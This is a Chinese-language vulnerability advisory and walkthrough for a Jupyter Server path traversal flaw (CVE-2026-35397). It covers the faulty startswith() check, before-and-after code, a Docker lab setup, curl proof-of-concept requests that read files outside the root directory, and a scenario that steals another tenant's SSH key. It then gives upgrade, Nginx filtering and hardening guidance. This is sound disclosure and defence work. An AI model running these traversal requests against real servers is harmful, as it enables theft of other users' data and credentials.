一、引言数据科学基础设施的心脏出血Jupyter生态是全球数据科学与AI开发领域的事实标准据Stack Overflow 2026年开发者调查显示超过87%的数据科学家和AI工程师日常使用Jupyter Notebook/Lab进行代码开发、数据分析和模型训练。从个人开发者到谷歌、亚马逊、微软等科技巨头再到高校科研机构和政府部门Jupyter Server作为整个生态的后端核心承载着数以亿计的核心数据资产。2026年5月5日Jupyter官方发布安全公告披露了CVE-2026-35397高危路径遍历漏洞。该漏洞CVSS 3.1评分高达8.8分仅需普通认证用户权限即可利用能够突破Jupyter Server配置的根目录限制访问、修改甚至删除同级目录的所有文件。对于广泛采用多租户架构的企业级JupyterHub和云厂商AI平台而言这个漏洞直接导致租户隔离完全失效堪称数据科学领域的心脏出血级安全事件。二、漏洞基本信息项目详情CVE IDCVE-2026-35397漏洞类型路径遍历CWE-22影响组件Jupyter ServerJupyter生态核心后端影响版本≤ 2.17.0所有2.x版本均受影响修复版本2.18.02026-05-05 发布CVSS 3.18.8高危向量AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HCVSS 4.07.6高危向量CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N发现者stef41安全研究员修复开发者Yann-PJupyter Server核心团队公开时间2026-05-05三、漏洞原理深度剖析一个startswith()引发的血案3.1 Jupyter Server路径校验机制Jupyter Server的/api/contents端点负责处理所有文件相关操作读、写、删除、创建检查点等。为了防止用户访问系统其他目录Jupyter Server会对每个请求的路径进行校验确保其位于配置的root_dir根目录之下。修复前的校验逻辑将用户请求的路径与root_dir拼接使用os.path.abspath()规范化路径解析../等相对路径使用startswith()方法判断规范化后的路径是否以root_dir开头3.2 漏洞核心缺陷问题就出在第三步的startswith()校验上。这个方法只能检查字符串前缀是否匹配而无法判断路径层级关系。当存在同名前缀的同级目录时校验会被完全绕过。漏洞利用示例配置的root_dir/data/test攻击者构造的请求路径../testtest/secret.txt拼接后的路径/data/test/../testtest/secret.txtos.path.abspath()规范化后/data/testtest/secret.txtstartswith()校验/data/testtest.startswith(/data/test) →True结果校验通过攻击者成功访问同级目录testtest下的文件3.3 修复前后代码对比修复前2.17.0及更早版本# jupyter_server/services/contents/filemanager.pydef_get_os_path(self,path):Convert a API path to an OS path.ifpathorpath/:returnself.root_dir# 拼接路径os_pathos.path.join(self.root_dir,path.strip(/))# 规范化路径解析../os_pathos.path.abspath(os_path)# 有缺陷的前缀校验ifnotos_path.startswith(self.root_dir):raiseweb.HTTPError(404,%s is outside root contents directory%path)returnos_path修复后2.18.0及以上版本# jupyter_server/services/contents/filemanager.pydef_get_os_path(self,path):Convert a API path to an OS path.ifpathorpath/:returnself.root_dir# 拼接路径os_pathos.path.join(self.root_dir,path.strip(/))# 规范化路径解析../os_pathos.path.abspath(os_path)# 安全的路径包含校验使用os.path.commonpathifos.path.commonpath([os_path,self.root_dir])!self.root_dir:raiseweb.HTTPError(404,%s is outside root contents directory%path)returnos_path3.4 漏洞利用流程图A[攻击者获取合法认证Token] -- B[构造包含../的恶意路径] B -- C[URL编码恶意路径%2e%2e] C -- D[发送POST请求到/api/contents/.../checkpoints端点] D -- E[服务端拼接root_dir与恶意路径] E -- F[os.path.abspath()解析../跳转到同级目录] F -- G[startswith()校验通过前缀匹配] G -- H[攻击者成功读取/修改/删除目标文件]四、完整攻击复现指南4.1 环境搭建使用Docker快速搭建一个存在漏洞的Jupyter Server环境# 拉取有漏洞的版本dockerpull jupyter/base-notebook:python-3.11.9# 启动容器映射端口并设置tokendockerrun-d\-p8888:8888\-eJUPYTER_TOKENyour_secure_token_here\-v/tmp/jupyter_test:/home/jovyan/work\jupyter/base-notebook:python-3.11.9# 进入容器创建测试目录结构dockerexec-itcontainer_idbashmkdir-p/home/jovyan/testmkdir-p/home/jovyan/testtestechoThis is a secret file/home/jovyan/testtest/secret.txtechoThis is a normal file/home/jovyan/work/test.txt4.2 获取认证Token如果启动时没有设置token可以通过以下命令获取dockerexeccontainer_idjupyter server list输出示例Currently running servers: http://0.0.0.0:8888/?tokenabcdef1234567890abcdef1234567890abcdef1234567890 :: /home/jovyan4.3 基础漏洞验证使用curl发送恶意请求读取同级目录testtest下的secret.txt文件# 替换为你的token和主机地址HOSThttp://localhost:8888TOKENabcdef1234567890abcdef1234567890abcdef1234567890# 发送恶意请求curl-XPOST\$HOST/api/contents/%2e%2e/testtest/secret.txt/checkpoints\-HAuthorization: token$TOKEN成功响应示例[{id:checkpoint-1,last_modified:2026-05-25T08:00:00.000Z}]虽然响应中没有直接显示文件内容但返回200 OK状态码和检查点信息说明Jupyter Server已经成功访问到了/home/jovyan/testtest/secret.txt文件。要直接读取文件内容可以使用GET请求curl-XGET\$HOST/api/contents/%2e%2e/testtest/secret.txt\-HAuthorization: token$TOKEN文件内容响应示例{name:secret.txt,path:../testtest/secret.txt,last_modified:2026-05-25T08:00:00.000Z,created:2026-05-25T08:00:00.000Z,content:This is a secret file,format:text,mimetype:text/plain,size:21,writable:true,type:file}4.4 进阶利用多租户环境横向渗透在企业级JupyterHub部署中通常会为每个用户创建独立的目录命名格式为user1、user2、user3…user100。这种命名方式恰好是CVE-2026-35397的完美目标。攻击场景用户user1的根目录/home/user1用户user10的根目录/home/user10用户user1构造路径../user10/.ssh/id_rsa规范化后路径/home/user10/.ssh/id_rsastartswith()校验/home/user10.startswith(/home/user1) →True结果user1成功窃取user10的SSH私钥更极端的情况是如果攻击者能够注册一个单字母用户名如a那么他可以访问所有以a开头的用户目录a1、a2…a999几乎可以控制整个平台的所有用户数据。五、全生态风险分析从个人开发者到云厂商的全面威胁5.1 核心数据资产泄露Jupyter Server中存储着企业最核心的数据资产训练数据包含用户隐私、商业机密的标注数据模型权重经过数百万美元训练的AI模型参数API密钥云服务、数据库、第三方API的访问凭证代码仓库未公开的算法实现和业务逻辑配置文件包含数据库密码、加密密钥的敏感配置这些数据一旦泄露将给企业带来不可估量的损失。例如模型权重泄露会导致企业的核心竞争力丧失API密钥泄露会导致云资源被滥用产生巨额账单。5.2 多租户隔离完全失效这是CVE-2026-35397最严重的影响。目前几乎所有企业级Jupyter部署和云厂商AI平台都采用多租户架构JupyterHub最流行的多用户Jupyter部署方案AWS SageMaker Studio亚马逊云的AI开发平台Google Vertex AI Workbench谷歌云的AI开发平台阿里云PAI-DSW阿里云的交互式数据科学开发平台腾讯云TI-ONE腾讯云的AI开发平台在这些平台中一个普通用户可以通过构造恶意路径访问所有前缀匹配的其他用户目录。例如用户user1可以访问user10到user19的所有数据用户user2可以访问user20到user29的所有数据。这直接违反了数据隐私法规如GDPR、CCPA、个人信息保护法企业可能面临巨额罚款和法律诉讼。5.3 供应链级影响Jupyter Server是整个Jupyter生态的核心组件以下所有项目都直接依赖Jupyter Server因此也受到该漏洞的影响JupyterLabJupyter NotebookJupyterHubVoilà交互式仪表盘nbconvertNotebook转换工具nbgrader作业评分工具Dask Gateway分布式计算网关Kubeflow NotebooksKubernetes上的Jupyter部署据GitHub统计有超过12万个开源项目直接依赖Jupyter Server间接依赖的项目更是不计其数。这意味着CVE-2026-35397的影响已经扩散到整个数据科学和AI开发生态系统。5.4 权限提升与持久化攻击者在获取其他用户的文件后可以进一步实现权限提升和持久化控制读取其他用户的SSH密钥登录到其他服务器读取云服务凭证访问云存储和计算资源写入恶意代码到其他用户的Notebook文件当其他用户执行时触发攻击修改系统配置文件创建后门账户植入挖矿程序或勒索软件占用服务器资源或加密数据六、修复与全面缓解方案6.1 紧急修复必做优先级最高立即将Jupyter Server升级到2.18.0或更高版本# pip升级pipinstall--upgradejupyter-server2.18.0# conda升级conda update jupyter-server2.18.0# Docker镜像升级dockerpull jupyter/base-notebook:latest验证升级是否成功jupyter server--version输出应为2.18.0或更高版本。6.2 临时缓解措施无法立即升级时如果由于某些原因无法立即升级可以采取以下临时缓解措施1. 目录命名规范避免同级目录共享前缀例如❌ 错误user1、user2、user10✅ 正确user-001、user-002、user-010这样可以防止user-001访问user-010的目录。2. Nginx反向代理过滤在Nginx反向代理中添加规则拦截包含路径遍历序列的请求server { listen 80; server_name jupyter.example.com; # 拦截包含../或编码后的路径遍历序列的请求 location / { if ($request_uri ~* \.\.|\%2e\%2e) { return 403; } proxy_pass http://localhost:8888; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } }3. 权限收紧将root_dir设置为独立的、最小权限的目录确保root_dir的父目录不可写以非root用户运行Jupyter Server禁用不必要的API端点如文件写入、删除6.3 深度加固措施1. 启用强身份验证使用OAuth2或LDAP进行身份验证替代简单的token认证启用双因素认证2FA定期轮换认证凭证2. 启用HTTPS使用Let’s Encrypt等免费证书颁发机构获取SSL证书强制所有请求使用HTTPS配置严格的SSL/TLS安全策略3. 容器化与隔离使用Docker或Kubernetes部署Jupyter Server为每个用户分配独立的容器实现更强的隔离限制容器的资源使用和系统调用4. 安全监控与审计启用Jupyter Server的访问日志监控异常请求如包含大量../的请求定期审计用户活动和文件访问记录使用入侵检测系统IDS检测恶意行为七、漏洞修复验证升级完成后必须进行漏洞修复验证确保漏洞已经被彻底修复。使用之前的PoC进行测试curl-XGET\$HOST/api/contents/%2e%2e/testtest/secret.txt\-HAuthorization: token$TOKEN修复成功的响应{error:Not Found,message:../testtest/secret.txt is outside root contents directory,reason:null}如果返回404 Not Found状态码和上述错误信息说明漏洞已经被成功修复。八、前瞻性思考数据科学平台安全的未来8.1 Jupyter生态安全现状近年来Jupyter生态的安全问题日益突出。仅2026年上半年Jupyter Server就已经披露了4个高危漏洞包括远程代码执行、XSS和路径遍历等。这些漏洞的共同特点是利用门槛低普通用户即可利用影响范围广波及整个生态系统危害严重可能导致核心数据泄露8.2 数据科学平台安全趋势随着AI技术的快速发展数据科学平台的安全将成为企业安全的重中之重。未来的数据科学平台安全将呈现以下趋势零信任架构默认不信任任何用户和请求每个操作都需要进行身份验证和授权AI原生安全使用AI技术检测和防御针对数据科学平台的攻击细粒度访问控制实现基于角色的访问控制RBAC和属性的访问控制ABAC数据加密对静态数据和传输中的数据进行全程加密供应链安全对Jupyter及其依赖组件进行持续的漏洞扫描和安全审计8.3 给企业的建议建立安全意识对数据科学家和AI工程师进行安全培训提高安全意识制定安全规范制定Jupyter平台的使用规范和安全管理制度定期安全评估定期对Jupyter平台进行安全评估和漏洞扫描建立应急响应机制制定漏洞应急响应预案确保在漏洞发生时能够快速响应关注安全公告及时关注Jupyter官方的安全公告第一时间修复漏洞九、总结与行动建议CVE-2026-35397是Jupyter生态近年来最严重的高危漏洞之一它利用一个简单的startswith()校验缺陷突破了Jupyter Server的根目录限制导致多租户隔离完全失效。该漏洞影响范围广、利用门槛低、危害严重所有使用Jupyter Server ≤2.17.0版本的用户都必须立即采取行动。立即行动清单✅ 立即将Jupyter Server升级到2.18.0或更高版本✅ 检查所有依赖Jupyter Server的组件和平台确保它们也已升级✅ 对多租户环境进行全面审计检查是否存在数据泄露✅ 实施临时缓解措施如目录命名规范和Nginx过滤✅ 加强安全监控检测异常请求和用户活动数据和模型是AI时代企业最核心的资产保护这些资产的安全是每个企业的责任。希望本文能够帮助大家全面了解CVE-2026-35397漏洞的原理、影响和修复方法共同构建更加安全的数据科学生态系统。
